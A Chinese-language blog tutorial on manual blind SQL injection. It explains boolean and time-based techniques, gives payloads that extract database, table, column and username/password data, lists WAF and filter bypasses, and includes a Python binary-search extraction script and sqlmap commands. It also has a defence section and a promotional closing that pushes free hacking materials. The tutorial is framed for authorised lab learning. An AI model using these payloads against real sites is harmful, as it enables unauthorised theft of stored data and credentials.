多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

盲注实战思路:没有回显如何一步步拿到数据

盲注实战思路:没有回显如何一步步拿到数据 盲注实战思路没有回显如何一步步拿到数据免责声明本文内容仅用于授权靶场学习、代码审计、安全研究严禁对任何未授权网站进行 SQL 注入探测、数据读取操作。任何未经授权的渗透测试行为均属于违法行为相关后果由行为人自行承担。前言SQL 注入分为显错注入、联合查询注入、盲注。很多同学刚学注入的时候习惯依赖页面直接返回数据库查询结果一旦页面没有数据回显、没有报错信息就无从下手。这就是盲注场景。盲注的核心特征无论 SQL 语句执行成功还是失败前端页面返回内容几乎没有变化不会直接展示查询数据也不会输出数据库报错信息。页面只会返回两种状态页面正常 / 页面异常、页面延时加载、响应长度差异。我们只能通过这些间接特征一点点猜解数据库里面的数据。盲注分为三大类布尔盲注SQL 条件真假页面返回内容不同正常页面 / 空白 / 提示错误时间盲注利用sleep()、benchmark()函数根据响应时间判断语句是否执行成功报错盲注页面不回显查询内容但会输出数据库报错属于半盲注本文重点讲解布尔 时间盲注实战思路很多新手最大误区认为盲注只能靠工具跑手工盲注没有意义上来直接猜表名字段不先获取基础信息分不清布尔盲注和时间盲注适用场景盲目使用 sleep 导致 WAF 拦截忽略过滤函数payload 直接被拦截不知道绕过多层过滤。本文脱离工具从手工实战视角完整梳理盲注整套挖掘思路、判断方法、猜解流程、常见过滤绕过与踩坑复盘带你理解没有回显怎么一点点把数据 “猜” 出来。一、盲注基础原理核心是 “二分法猜字符”普通联合注入union select 1,2,version()直接把查询结果拼到页面输出。盲注不能直接拿结果只能构造判断语句判断条件是否成立。核心思想截取字符串的某一位字符判断它是否大于 / 小于 / 等于某个 ASCII 码不断缩小范围最终确定字符。用到的核心函数MySQLsubstr(str, pos, len)截取字符串pos 从 1 开始mid()和 substr 功能一致ascii()将字符转为 ASCII 码方便数值比较sleep(n)延时 n 秒时间盲注核心if(condition, true_val, false_val)条件判断函数。布尔盲注基础 payload 模板and ascii(substr((select database()),1,1))100含义查询当前数据库名截取第 1 个字符转成 ASCII判断是否大于 100。如果条件成立页面返回正常如果条件不成立页面返回异常 / 内容改变时间盲注基础 payload 模板and if(ascii(substr((select database()),1,1))100,sleep(3),1)含义如果条件成立执行 sleep (3)请求响应延迟 3 秒条件不成立直接返回。我们看响应时间判断真假。为什么要用 ASCII 码比较直接比较字符会受到大小写、编码、特殊符号干扰转为数字 ASCII只需要数字大小比较稳定性更高。二、第一步识别注入点判断是否存在盲注拿到一个参数先判断注入类型不要直接开始猜数据。假设测试 URLhttp://test.com/index.php?id11. 基础单引号测试payloadid1页面直接爆出数据库错误报错注入可以直接 extractvalue/updatexml 提取数据页面无报错页面空白 / 跳转大概率布尔盲注页面和原来完全一致继续测试布尔条件payloadid1 and 11 -- id1 and 12 --对比两个页面返回and 11页面正常and 12页面内容变化空白、提示不存在→布尔盲注两次页面完全没有区别 → 布尔盲注不成立尝试时间盲注测试时间盲注测试 payloadid1 and sleep(3) --观察 HTTP 响应耗时请求明显延迟 3 秒左右返回 → 存在时间盲注响应速度不变 → 注入点不存在或者 sleep 函数被过滤注意很多网站有 WAFsleep () 会被检测后面会讲 benchmark 替代方案。2. 区分数字型 / 字符型注入数字型id1 and 11不需要单引号闭合字符型id1 and 11 --需要单引号闭合前面引号– 注释后面剩余 SQL3. 确认注释符是否可用MySQL 常用注释--减号减号空格、#部分环境--无法识别可以替换#。坑点URL 中 #会被浏览器当做锚点不会传给后端URL 编码%23代替 #。三、完整手工盲注实战流程布尔盲注为例整体顺序数据库版本 → 当前数据库名 → 数据库中的表名 → 表中的字段名 → 字段里的数据不要颠倒顺序不能直接猜数据必须一步一步获取元信息。阶段 1获取数据库版本目标select version()payload 模板id1 and ascii(substr((select version()),1,1))50 --使用二分法缩小 ASCII 范围ASCII 数字范围数字48~57大写字母65~90小写字母97~122点.是 46示例流程判断第一位字符 ascii50 → 页面正常条件成立判断第一位字符 ascii60 → 页面异常条件不成立说明第一位 ASCII 在 50~60 之间继续二分不断缩小最终确定字符。依次遍历位置 pos1,2,3… 直到判断到为空结束版本猜解。阶段 2猜当前数据库名称查询语句select database()payloadid1 and ascii(substr((select database()),1,1))90 --同样循环 pos逐个字符猜直到字符串结束。坑数据库名、表名只包含小写字母、下划线不会有空格。阶段 3猜数据库里所有表名information_schema.tables 存储表信息。查询指定数据库的第一张表select table_name from information_schema.tables where table_schema库名 limit 0,1对应的盲注 payloadid1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1))100 --limit 0,1 → 第 1 张表limit 1,1 → 第 2 张表依次递增直到查询不到表结束。重点坑information_schema 过滤。很多靶场会过滤 information_schema这时候需要使用无 information_schema 盲注后面单独讲解。阶段 4猜表内字段名拿到表名后读取字段查询 information_schema.columnsselect column_name from information_schema.columns where table_schema库名 and table_nameusers limit 0,1payloadid1 and ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),1,1))100 --循环 limit拿到所有字段名称比如 id、username、password。阶段 5读取字段内数据最终目标读取 users 表第一条 username 数据select username from security.users limit 0,1payloadid1 and ascii(substr((select username from security.users limit 0,1),1,1))90 --循环 pos逐字符猜解 username、password 内容limit 递增读取每一行记录。四、时间盲注实战思路适用布尔盲注失效场景当and 11和and 12页面完全没有差异无法通过页面内容判断真假就切换时间盲注。核心函数if(条件, 执行sleep, 不执行)id1 and if(ascii(substr((select database()),1,1))100,sleep(3),1)--发包观察响应时间等待 3 秒左右返回 → 条件成立立刻返回 → 条件不成立sleep 被过滤的替代方案benchmark(次数, 表达式)重复执行表达式消耗 CPU实现延时避开 sleep 关键词过滤。id1 and if(ascii(substr((select database()),1,1))100,benchmark(500000,md5(test)),1)--注意benchmark 对服务器压力更大实战不要设置过大次数容易把服务器打卡顿触发 WAF 告警。时间盲注实战踩坑网络延迟干扰本地网络波动会影响时间判断多次发包取平均值WAF 检测长时间请求sleep5 秒容易被拦截推荐 sleep (2)~sleep (3)并发请求、连接池会导致延时不准尽量串行发包不要多线程。五、盲注高频过滤绕过方案实战必看真实业务环境不会裸奔经常过滤关键词select、substr、ascii、sleep、information_schema。下面是盲注场景最常用绕过思路。1. substr/mid 被过滤 → 使用 left、right 截取left(str,len)从左侧取 N 个字符right(str,len)从右侧取 N 个字符and ascii(left((select database()),1))1002. 空格被过滤URL 注入中过滤空格使用/**/、()代替空格id1and/**/if(ascii(substr((select(database())),1,1))100,sleep(2),1)--3. information_schema 被过滤重点难点无法查表名属于高阶盲注场景没有 information_schema 不能直接查表。思路暴力猜表名。已知数据库名遍历可能的表名字符组合用盲注判断select 1 from 表名是否不报错。payload 示例id1 and exists(select*from security.users) --如果页面正常说明 users 表存在页面异常表不存在。同理拿到表名之后暴力猜字段id1 and exists(select username from security.users) --缺点字典消耗大适合表名字段短的场景。4. select 被过滤可以尝试大小写绕过、双写绕过selselectect编码绕过如果完全禁止 select盲注很难利用注入基本失效。六、二分法原理与优化技巧提高手工盲注效率为什么要用二分法而不是从 1 开始一个个试ASCII 范围 0~127如果顺序遍历最多 127 次请求二分法每次砍掉一半范围最多 7 次就能锁定字符极大减少发包数量降低被 WAF 检测概率。举个例子猜字符 ASCII初始区间 low0, high127mid(0127)/263判断 63成立说明字符在 64~127low64不成立字符 0~63high63继续取中间值不断迭代直到 lowhigh得到 ASCII 值。实操建议写简单 Python 脚本自动二分猜解手工只用来验证漏洞纯手工猜完整数据工作量巨大。下面提供极简布尔盲注脚本仅用于本地靶场。# 极简布尔盲注脚本靶场学习使用 import requests url http://127.0.0.1/sqli.php result for pos in range(1,30): low 0 high 127 while low high: mid (low high) // 2 payload f?id1 and ascii(substr((select database()),{pos},1)){mid} -- res requests.get(urlpayload) if 正常页面标记 in res.text: low mid 1 else: high mid if low 0: break result chr(low) print(当前结果,result) print(最终数据库名,result)七、盲注漏洞挖掘的排查思路 常见坑点复盘坑 1页面缓存干扰服务器 CDN、页面缓存两次请求返回旧页面导致布尔判断完全错乱。对策请求增加随机参数?id1rand随机数绕过缓存。坑 2HTTP 状态码、重定向干扰页面 302 跳转不能依靠响应文本判断真假需要看响应包 body 或者响应时间。坑 3limit 顺序问题漏行limit m,nm 是偏移量每读取一行偏移量 1很多新手忘记递增 limit一直读取第一行数据。坑 4多行子查询没有括号盲注子查询必须用括号包裹(select xxx)否则 SQL 语法错误永远返回假。坑 5字符编码、中文数据盲注中文是多字节ascii () 只取第一个字节不能直接猜中文。需要使用 hex () 把字符串转为十六进制逐字符猜十六进制字符这是中文盲注的标准方案。and ascii(substr(hex((select username from users limit 0,1)),1,1))50hex 之后全部是 0-9,a-f猜解完成再转回原始中文。坑 6过滤单引号无法闭合如果单引号被 WAF 拦截字符型盲注很难利用数字型注入不受影响。八、盲注工具使用的利弊很多同学直接上 sqlmap 一键跑数据但作为安全研究者必须懂底层盲注原理✅ 工具优势自动二分、自动多线程快速拿数据适合验证漏洞。❌ 工具缺点payload 特征明显极易触发 WAF 拦截遇到过滤、特殊场景工具容易直接失效只会跑工具遇到无 information_schema、sleep 过滤场景无法继续深入。实战建议手工判断注入类型、测试过滤确认存在盲注之后再使用脚本 /sqlmap 进行数据导出。不要上来直接丢 sqlmap。sqlmap 盲注常用参数参考靶场使用# 布尔盲注 sqlmap -u http://test.com/index.php?id1 --technique B # 时间盲注 sqlmap -u http://test.com/index.php?id1 --technique T九、防御方案如何防止 SQL 盲注盲注本质还是 SQL 注入防御注入的核心手段可以完全抵御盲注。预编译语句参数化查询使用 PDO、MyBatis 预编译用户输入作为参数不拼接 SQL 字符串从根源杜绝注入这是最优方案。输入白名单校验对数字参数强制正则校验只能是数字字符串参数限制长度、允许字符范围。禁用数据库高危函数数据库层面禁用 sleep、benchmark、load_file 等危险函数低权限数据库账号禁止访问 information_schema。统一页面返回消除布尔差异业务上无论 SQL 执行成功失败页面返回统一提示消除页面内容差异让布尔盲注无法判断真假但只能增加盲注难度不能根治注入。WAF 防护检测注入特征 payload拦截 select、substr、sleep 等注入语句限制单 IP 请求频率防止盲注大量发包猜解。最小权限原则业务数据库账号只分配必要表的查询、修改权限不允许读取 information_schema 库。重点提醒只统一页面回显属于缓解手段不是修复。只要 SQL 语句可以拼接时间盲注依然可以利用 sleep 延时进行猜解根本解决办法一定是预编译。十、总结盲注的核心本质一句话没有直接数据输出通过条件判断 二分法逐个字符猜取出查询结果。整套固定实战流程识别注入点 → 判断布尔 / 时间盲注 → 获取版本 → 库名 → 表名 → 字段 → 业务数据。布尔盲注依靠页面内容差异判断真假时间盲注依靠请求响应延迟判断真假。真实环境经常遇到关键词过滤需要掌握 substr 替代、空格绕过、无 information_schema 查表、hex 处理中文等进阶技巧。在漏洞挖掘过程中遇到无回显页面不要直接放弃优先测试布尔盲注布尔失效再切换时间盲注手工用来判断漏洞脚本用来批量猜解。同时记住页面不显示报错不代表不存在注入漏洞盲注往往隐藏在看似 “安全” 的接口里面。防御层面不要依靠屏蔽报错、修改页面回显当做注入修复参数化预编译才是根治 SQL 注入的方案。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表